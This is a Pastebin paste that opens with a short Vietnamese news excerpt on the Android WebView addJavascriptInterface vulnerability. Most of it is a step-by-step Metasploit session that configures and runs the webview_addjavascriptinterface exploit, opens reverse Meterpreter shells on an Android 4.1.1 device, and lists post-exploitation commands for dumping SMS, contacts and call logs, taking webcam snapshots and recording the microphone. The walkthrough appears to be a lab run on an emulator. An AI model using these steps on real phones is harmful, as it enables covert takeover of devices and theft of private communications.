Advertisement
thanhhang54833

webview

May 30th, 2018
166
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.88 KB | None | 0 0
  1. link :https://www.rapid7.com/db/modules/exploit/android/browser/webview_addjavascriptinterface
  2. Trang chủBảo mật Mobile Phone
  3. Lỗ hổng Android WebView cho phép tin tặc cài phần mềm độc hại
  4. Một lỗi an ninh đã ảnh hưởng điều khiển WebView trong những ứng dụng Android có thể bị những tin tặc lợi dụng để cài đặt phần mềm độc hại vào thiết bị người dùng .
  5.  
  6.  
  7. Theo các chuyên gia của AVG Technologies , lỗ hổng an ninh này ảnh hưởng tới các thiết bị dùng hệ điều hành cũ hơn bản Android 4.2 . Tin tặc có thể khác thác lỗi này bằng cách lôi kéo nạn nhân bấm vào đường Link từ ứng dụng bị lỗi để cho phép mở trình duyệt đã kích hoạt Java hoặc trang web .
  8.  
  9. Những lệnh JavaScript độc hại đã nằm trong những trang web độc hại sẽ tự động thực hiện . Tin tặc có thể thực hiện nhiều hoạt động khác nhau như cài đặt phần mềm , gửi tin nhắn SMS và đánh cắp thông tin cá nhân .
  10.  
  11. WebView được các nhà phát triển ứng dụng Android sử dụng khi họ muốn cho phép khách hàng xem những ứng dụng web . Lỗ hổng mà AVG phát hiện ra liên quan tới việc dùng phương pháp addJavascriptInterface .
  12.  
  13. --
  14. root@osboxes:~# msfconsole
  15. --
  16. msf > use exploit/android/browser/webview_addjavascriptinterface
  17. --
  18. msf exploit(android/browser/webview_addjavascriptinterface) > set srvhost 192.168.1.9
  19. srvhost => 192.168.1.9
  20.  
  21. msf exploit(android/browser/webview_addjavascriptinterface) > set srvport 1234
  22. srvport => 1234
  23.  
  24. msf exploit(android/browser/webview_addjavascriptinterface) > set lhost 192.168.1.9
  25. lhost => 192.168.1.9
  26.  
  27. msf exploit(android/browser/webview_addjavascriptinterface) > set lport 8080
  28. lport => 8080
  29.  
  30. msf exploit(android/browser/webview_addjavascriptinterface) > set uripath /
  31. uripath => /
  32.  
  33. msf exploit(android/browser/webview_addjavascriptinterface) > set verbose true
  34. verbose => true
  35.  
  36. msf exploit(android/browser/webview_addjavascriptinterface) > run -j
  37. [*] Exploit running as background job 0.
  38.  
  39. [*] Started reverse TCP handler on 192.168.1.9:8080
  40. [*] Using URL: http://192.168.1.9:1234/
  41. [*] Server started.
  42. msf exploit(android/browser/webview_addjavascriptinterface) >
  43.  
  44.  
  45. --
  46. msf exploit(android/browser/webview_addjavascriptinterface) > [*] 192.168.1.41 webview_addjavascriptinterface - Gathering target information for 192.168.1.41
  47. [*] 192.168.1.41 webview_addjavascriptinterface - Sending HTML response to 192.168.1.41
  48. [-] 192.168.1.41 webview_addjavascriptinterface - Target 192.168.1.41 has requested an unknown path: /favicon.ico
  49. [*] 192.168.1.41 webview_addjavascriptinterface - Serving x86 exploit...
  50. [*] Sending stage (70028 bytes) to 192.168.1.41
  51. [*] Meterpreter session 1 opened (192.168.1.20:8080 -> 192.168.1.41:56819) at 2018-06-01 20:43:42 -0400
  52. [*] 192.168.1.41 webview_addjavascriptinterface - Serving x86 exploit...
  53. [*] Sending stage (70028 bytes) to 192.168.1.41
  54. [*] Meterpreter session 2 opened (192.168.1.20:8080 -> 192.168.1.41:56838) at 2018-06-01 20:44:47 -0400
  55. sessions
  56.  
  57. Active sessions
  58. ===============
  59.  
  60. Id Name Type Information Connection
  61. -- ---- ---- ----------- ----------
  62. 1 meterpreter dalvik/android u0_a3 @ localhost 192.168.1.20:8080 -> 192.168.1.41:56819 (192.168.1.41)
  63. 2 meterpreter dalvik/android u0_a3 @ localhost 192.168.1.20:8080 -> 192.168.1.41:56838 (192.168.1.41)
  64.  
  65. --
  66.  
  67.  
  68. msf exploit(android/browser/webview_addjavascriptinterface) > sessions 2
  69. [*] Starting interaction with 2...
  70.  
  71. meterpreter >
  72.  
  73. --
  74.  
  75. meterpreter > sysinfo
  76. Computer : localhost
  77. OS : Android 4.1.1 - Linux 3.4.67-qemu+ (i686)
  78. Meterpreter : dalvik/android
  79. meterpreter >
  80.  
  81.  
  82. ---
  83. meterpreter >help
  84. Core Commands
  85. =============
  86.  
  87. Command Description
  88. ------- -----------
  89. ? Help menu
  90. background Backgrounds the current session
  91. bgkill Kills a background meterpreter script
  92. bglist Lists running background scripts
  93. bgrun Executes a meterpreter script as a background thread
  94. channel Displays information or control active channels
  95. close Closes a channel
  96. disable_unicode_encoding Disables encoding of unicode strings
  97. enable_unicode_encoding Enables encoding of unicode strings
  98. exit Terminate the meterpreter session
  99. get_timeouts Get the current session timeout values
  100. guid Get the session GUID
  101. help Help menu
  102. info Displays information about a Post module
  103. irb Drop into irb scripting mode
  104. load Load one or more meterpreter extensions
  105. machine_id Get the MSF ID of the machine attached to the session
  106. quit Terminate the meterpreter session
  107. read Reads data from a channel
  108. resource Run the commands stored in a file
  109. run Executes a meterpreter script or Post module
  110. sessions Quickly switch to another session
  111. set_timeouts Set the current session timeout values
  112. sleep Force Meterpreter to go quiet, then re-establish session.
  113. transport Change the current transport mechanism
  114. use Deprecated alias for "load"
  115. uuid Get the UUID for the current session
  116. write Writes data to a channel
  117.  
  118.  
  119. Stdapi: File system Commands
  120. ============================
  121.  
  122. Command Description
  123. ------- -----------
  124. cat Read the contents of a file to the screen
  125. cd Change directory
  126. checksum Retrieve the checksum of a file
  127. cp Copy source to destination
  128. dir List files (alias for ls)
  129. download Download a file or directory
  130. edit Edit a file
  131. getlwd Print local working directory
  132. getwd Print working directory
  133. lcd Change local working directory
  134. lpwd Print local working directory
  135. ls List files
  136. mkdir Make directory
  137. mv Move source to destination
  138. pwd Print working directory
  139. rm Delete the specified file
  140. rmdir Remove directory
  141. search Search for files
  142. upload Upload a file or directory
  143.  
  144.  
  145. Stdapi: Networking Commands
  146. ===========================
  147.  
  148. Command Description
  149. ------- -----------
  150. ifconfig Display interfaces
  151. ipconfig Display interfaces
  152. portfwd Forward a local port to a remote service
  153. route View and modify the routing table
  154.  
  155.  
  156. Stdapi: System Commands
  157. =======================
  158.  
  159. Command Description
  160. ------- -----------
  161. execute Execute a command
  162. getuid Get the user that the server is running as
  163. localtime Displays the target system's local date and time
  164. pgrep Filter processes by name
  165. ps List running processes
  166. shell Drop into a system command shell
  167. sysinfo Gets information about the remote system, such as OS
  168.  
  169.  
  170. Stdapi: User interface Commands
  171. ===============================
  172.  
  173. Command Description
  174. ------- -----------
  175. screenshot Grab a screenshot of the interactive desktop
  176.  
  177.  
  178. Stdapi: Webcam Commands
  179. =======================
  180.  
  181. Command Description
  182. ------- -----------
  183. record_mic Record audio from the default microphone for X seconds
  184. webcam_chat Start a video chat
  185. webcam_list List webcams
  186. webcam_snap Take a snapshot from the specified webcam
  187. webcam_stream Play a video stream from the specified webcam
  188.  
  189.  
  190. Android Commands
  191. ================
  192.  
  193. Command Description
  194. ------- -----------
  195. activity_start Start an Android activity from a Uri string
  196. check_root Check if device is rooted
  197. dump_calllog Get call log
  198. dump_contacts Get contacts list
  199. dump_sms Get sms messages
  200. geolocate Get current lat-long using geolocation
  201. hide_app_icon Hide the app icon from the launcher
  202. interval_collect Manage interval collection capabilities
  203. send_sms Sends SMS from target session
  204. set_audio_mode Set Ringer Mode
  205. sqlite_query Query a SQLite database from storage
  206. wakelock Enable/Disable Wakelock
  207. wlan_geolocate Get current lat-long using WLAN information
  208.  
  209. meterpreter >
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement